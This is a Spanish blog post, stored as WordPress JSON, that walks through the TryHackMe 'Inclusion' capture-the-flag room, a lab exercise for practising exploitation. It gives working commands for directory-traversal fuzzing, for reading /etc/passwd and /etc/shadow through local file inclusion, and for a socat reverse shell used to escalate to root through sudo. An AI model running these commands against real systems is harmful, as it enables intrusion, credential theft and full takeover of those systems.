{"id":706,"date":"2020-03-15T01:53:18","date_gmt":"2020-03-15T00:53:18","guid":{"rendered":"https:\/\/www.pinguytaz.net\/?p=706"},"modified":"2020-03-17T01:13:45","modified_gmt":"2020-03-17T00:13:45","slug":"tryhackme-inclusion-reto-lfi","status":"publish","type":"post","link":"https:\/\/www.pinguytaz.net\/index.php\/2020\/03\/15\/tryhackme-inclusion-reto-lfi\/","title":{"rendered":"(TryHackMe) &#8211; Inclusion \u00abReto LFI\u00bb"},"content":{"rendered":"\n<p>La maquina \u00ab<a href=\"https:\/\/tryhackme.com\/room\/inclusion\">inclusion<\/a>\u00bb de <a href=\"https:\/\/tryhackme.com\/\">TryHackMe<\/a> es un reto para poder practicar LFI y en este POST describiremos los pasos que hemos realizado para localizar las dos banderas que nos piden teniendo que realizar una escalada de privilegios.<\/p>\n\n\n\n<p>Lo primero sera suscribirnos a esta habitaci\u00f3n y levantar la maquina  \u00ab<a href=\"https:\/\/tryhackme.com\/room\/inclusion\">inclusion<\/a>\u00bb y nuestra VPN a <a href=\"https:\/\/tryhackme.com\/\">TryHackMe<\/a> como ya hemos comentado en la resoluci\u00f3n de otros retos como \u00ab<a href=\"https:\/\/www.pinguytaz.net\/index.php\/2020\/01\/03\/ctf-basic-pentesting-de-tryhackme\/\">Basic Pentesting<\/a>\u00bb y con la maquina virtual levantada comenzamos.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Enumeraci\u00f3n<\/h2>\n\n\n\n<p>Lo primero y ya con la IP asignada de la maquina sera ver los servicios a los que podemos acceder.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap -O -sS -Pn -sV &lt;IP asignada de la maquina><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"742\" height=\"90\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2020\/03\/image.png\" alt=\"\" class=\"wp-image-709\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2020\/03\/image.png 742w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2020\/03\/image-300x36.png 300w\" sizes=\"auto, (max-width: 742px) 100vw, 742px\" \/><\/figure>\n\n\n\n<p>Podemos observar que tenemos dos puertos el 80 y el 22, continuaremos con una enumeraci\u00f3n del servicio WEB (ademas como es un reto LFI es por donde realizaremos el ataque aunque vi\u00e9ramos posibilidad por SSH.<\/p>\n\n\n\n<p>Realizamos un an\u00e1lisis con \u00ab<em>dirb &lt;IP asignada&gt;<\/em>\u00bb  y comprobamos que nos da una URL que da error  500 de servidor \u00ab<em>http:\/\/ &lt;ip asignada&gt;\/article<\/em>\u00bb por lo tanto procedemos a analizar el c\u00f3digo de la p\u00e1gina principal a ver si se encuentra algo de \u00ab<em>\/article<\/em>\u00bb y en efecto vemos que le falta el par\u00e1metro \u00ab<strong>name<\/strong>\u00bb y que los tres valores que usa son: hacking, lfiattack y rfiattack esto parece un vector de ataque LFI por lo que procedemos a buscar el fichero <strong>\/etc\/passwd<\/strong> ya que es un Linux seg\u00fan vimos con <strong><em>nmap<\/em><\/strong>.<\/p>\n\n\n\n<p>Para automatizar un poco esto usaremos nuestra herramienta favorita de FUZZ que en mi caso usare mi <a href=\"https:\/\/www.pinguytaz.net\/index.php\/2019\/10\/18\/wfuzz-navaja-suiza-del-pentesting-web-1-3\/\">navaja suiza de FUZZ (wfuzz)<\/a> conociendo ya la URL, la variable a sondear lo que usaremos es un Payload de \u00abDirectory traversal\u00bb para recorrer directorios en busca de fichero que den error 200 (OK)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>wfuzz -c -z file,\/usr\/share\/wfuzz\/wordlist\/vulns\/dirTraversal-nix.txt --sc 200 -f LFI_article.txt,raw http:\/\/&lt;IP asignada>\/article?name=FUZZ<\/code><\/pre>\n\n\n\n<p>En el fichero \u00ab<strong>LFI_article.txt<\/strong>\u00bb tendremos los resultados y podemos ver \u00ab..\/..\/..\/etc\/passwd\u00bb lo comprobamos con el navegador y vemos que nos da el fichero de usuarios, ya conociendo el path a utilizar nos bajamos a local otros ficheros del directorio \u00ab\/etc\u00bb que nos puede interesar analizar as\u00ed los podremos ver mejor y aplicar filtros si lo deseamos.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -o passwd http:\/\/&lt;IP asignada>\/article?name=..\/..\/..\/etc\/passwd\ncurl -o group http:\/\/&lt;IP asignada>\/article?name=..\/..\/..\/etc\/group\ncurl -o shadow http:\/\/&lt;IP asignada>\/article?name=..\/..\/..\/etc\/shadow<\/code><\/pre>\n\n\n\n<p>Analiz\u00e1ndolos vemos varias cosas a tener en cuenta.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">passwd<\/h4>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"597\" height=\"74\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2020\/03\/image-1.png\" alt=\"\" class=\"wp-image-710\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2020\/03\/image-1.png 597w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2020\/03\/image-1-300x37.png 300w\" sizes=\"auto, (max-width: 597px) 100vw, 597px\" \/><\/figure><\/div>\n\n\n\n<p>Se ve una linea como un comentario que parece indicar un usuario:password por lo que probamos  a conectarnos por ssh ya que esta el servicio levantado (ver m\u00e1s adelante) y exactamente marca usuario y clave.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"> group<\/h4>\n\n\n\n<p>Vemos que el anterior usuario pertenece a varios grupos de interes: adm, sudo, lxd.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">shadow<\/h4>\n\n\n\n<p>Sorprendente mente se ha le\u00eddo, lo que implica que se el servidor web esta con un estado alto de privilegios. Al verlo se comprueba que solo dos usuarios tienen clave (root y falconfeast) al tener este fichero podr\u00edamos obtener las claves por fuerza bruta, aunque no sera necesario ya que hemos comprobado antes que nos han dado la clave.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Explotaci\u00f3n<\/h4>\n\n\n\n<p>Ya que disponemos un usuario y una clave, entramos en el sistema mediante <em>ssh<\/em> ya que tenemos el servicio activado.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ssh falconfeast@&lt;IP asignada><\/code><\/pre>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2020\/03\/image-3.png\" alt=\"\" class=\"wp-image-714\" width=\"422\" height=\"164\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2020\/03\/image-3.png 746w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2020\/03\/image-3-300x117.png 300w\" sizes=\"auto, (max-width: 422px) 100vw, 422px\" \/><\/figure><\/div>\n\n\n\n<p>Una vez estamos en el usuario realizamos un <em>ls<\/em> y localizamos la primera bandera \u00abuser.txt\u00bb, asi que solo tenemos que realizarle un cat y tendremos la primera bandera.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Escalaci\u00f3n de privilegios<\/h4>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2020\/03\/image-4-1024x117.png\" alt=\"\" class=\"wp-image-715\" width=\"443\" height=\"50\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2020\/03\/image-4-1024x117.png 1024w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2020\/03\/image-4-300x34.png 300w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2020\/03\/image-4-768x88.png 768w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2020\/03\/image-4.png 1065w\" sizes=\"auto, (max-width: 443px) 100vw, 443px\" \/><\/figure><\/div>\n\n\n\n<p>Ahora que ya tenemos esta bandera vamos a la por la de root, por lo que primero y sabiendo que este usuario pertenece al grupo sudo, ejecutaremos sudo -l para ver que podemos ejecutar.<\/p>\n\n\n\n<p>Se ve que solo podemos usar \/usr\/bin\/socat, por lo que lanzaremos un shell-reverso con este.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>####   Ejecuci\u00f3n maquina atacante, y es donde aparecer\u00e1 el Shell y lo que se hace es ponerlo a la escucha.\nexport PUERTO=1403\nsocat file:`tty`,raw,echo=0 tcp-listen:$PUERTO\n\n#### Ejecuci\u00f3n en la maquina atacada\nexport PUERTO=1403\nexport RHOST=&lt;La IP asignada>\n socat tcp-connect:$RHOST:$PUERTO exec:sh,pty,stderr,setsid,sigint,sane<\/code><\/pre>\n\n\n\n<p>Al entrar si ejecutamos id, veremos que estamos en root por lo que nos iremos a su directorio <em>\/root<\/em> a ver si tenemos algo y vemos al realizar un ls que esta el fichero<strong> <em>\/root\/root.txt<\/em><\/strong> (segunda bandera) por lo que solo es necesario realizar un <em>cat<\/em> al fichero y como estamos en root lo leeremos sin problemas.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>La maquina \u00abinclusion\u00bb de TryHackMe es un reto para poder practicar LFI y en este POST describiremos los pasos que hemos realizado para localizar las dos banderas que nos piden teniendo que realizar una escalada de privilegios. Lo primero sera suscribirnos a esta habitaci\u00f3n y levantar la maquina \u00abinclusion\u00bb y nuestra VPN a TryHackMe como [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":708,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-container-style":"default","site-container-layout":"default","site-sidebar-layout":"default","disable-article-header":"default","disable-site-header":"default","disable-site-footer":"default","disable-content-area-spacing":"default","footnotes":""},"categories":[110,19,83],"tags":[135,134,36,136,133],"class_list":["post-706","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf","category-escalar-privilegios","category-pentesting-hacking","tag-ctf","tag-lfi","tag-linux","tag-socat","tag-tryhackme"],"_links":{"self":[{"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/posts\/706","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/comments?post=706"}],"version-history":[{"count":5,"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/posts\/706\/revisions"}],"predecessor-version":[{"id":717,"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/posts\/706\/revisions\/717"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/media\/708"}],"wp:attachment":[{"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/media?parent=706"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/categories?post=706"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/tags?post=706"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}